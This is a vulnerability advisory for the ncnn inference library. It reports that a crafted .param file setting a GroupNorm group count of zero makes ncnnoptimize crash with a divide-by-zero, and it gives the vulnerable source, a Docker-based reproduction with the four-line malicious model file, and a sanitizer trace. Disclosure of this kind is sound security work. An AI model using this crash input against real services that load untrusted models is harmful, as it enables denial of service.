GroupNorm Zero Group Count Denial Of Service
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/groupnorm_x86.cpp:356 in GroupNorm_x86::forward_inplace
Sanitizer verdict: FPE on unknown address 0x610bd223240c (pc 0x610bd223240c bp 0x7fff0334ca90 sp 0x7fff0334c5b0 T0)
Summary
A .param file containing a GroupNorm layer with group=0 terminates ncnnoptimize with SIGFPE during shape inference. GroupNorm::load_param stores the group count without any validation, and the x86 implementation divides the channel count by it on the first line of forward_inplace. Setting affine=0 means no weights are needed at all, so the attacker only has to supply four lines of text and null for the model binary.
Detail
The untrusted fields are GroupNorm parameter keys 0 (group), 1 (channels) and 3 (affine). load_param copies all three straight out of the ParamDict and returns success unconditionally — there is no check that group is non-zero, that it divides channels, or that the two agree with the incoming blob. Selecting affine=0 makes load_model return immediately, so the layer loads cleanly from an empty weight stream.
// src/layer/groupnorm.cpp:14
int GroupNorm::load_param(const ParamDict& pd)
{
group = pd.get(0, 1);
channels = pd.get(1, 0);
eps = pd.get(2, 0.001f);
affine = pd.get(3, 1);
return 0;
}
// src/layer/x86/groupnorm_x86.cpp:354
const int dims = bottom_top_blob.dims;
const int elempack = bottom_top_blob.elempack;
const int channels_g = channels / group;
ncnnoptimize does not merely parse the graph: ModelWriter::shape_inference() (tools/modelwriter.h:435) runs Extractor::extract on every layer top, which executes GroupNorm_x86::forward_inplace on the real data. With the PoC values channels = 4 and group = 0, line 356 performs the integer division 4 / 0. On x86 this is a single idiv, so a zero divisor raises #DE and the process is killed with SIGFPE before the optimized .param/.bin are written.
The division happens before any other use of group, so no amount of downstream defensiveness helps, and the expression is duplicated into every ISA-specialised copy that the build generates — the captured trace shows the AVX-512 variant selected by runtime dispatch. The PoC layer line is GroupNorm gn 1 1 data out 0=0 1=4 3=0 behind an Input data 0 1 data 0=4 1=1 2=1.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-groupnorm-zero-group-count-denial-of-service && cd ncnn-poc-groupnorm-zero-group-count-denial-of-service
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=4 1=1 2=1
GroupNorm gn 1 1 data out 0=0 1=4 3=0
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5f0104d1340c (pc 0x5f0104d1340c bp 0x7ffd2a75cf40 sp 0x7ffd2a75ca60 T0)
#0 0x5f0104d1340c in ncnn::GroupNorm_x86_avx512::forward_inplace(ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/groupnorm_x86_avx512.cpp:356
#1 0x5f00fc96bfd8 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:711
#2 0x5f00fc95eb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#3 0x5f00fc9be9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#4 0x5f00fc8503c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#5 0x5f00fc8cdeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#6 0x7895df85c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7895df85c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x5f00fc84d624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/groupnorm_x86_avx512.cpp:356 in ncnn::GroupNorm_x86_avx512::forward_inplace(ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst